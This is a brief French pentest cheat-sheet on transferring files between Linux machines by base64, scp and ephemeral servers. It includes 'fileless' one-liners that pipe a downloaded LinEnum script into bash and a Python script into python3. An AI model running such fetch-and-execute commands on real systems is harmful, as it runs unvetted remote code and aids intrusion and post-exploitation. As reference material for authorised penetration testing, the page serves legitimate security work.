Aller au contenu

Linux vers linux

Techniques pour transférer un fichier entre deux machines Linux : scp, rsync, encodage base64 quand aucun port n'est ouvert, et serveurs HTTP/Netcat éphémères pour des transferts rapides en pentest.

Réception de fichier en base64

cat $fichier | base64 -w 0;echo
echo -n '$base64' | base64 -d > $fichier

Télécharger un fichier et l'exécuter (fileless)

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

ou 

wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Réception d'un fichier via SSH

sudo systemctl start ssh
scp $user@$monIp:$fichier .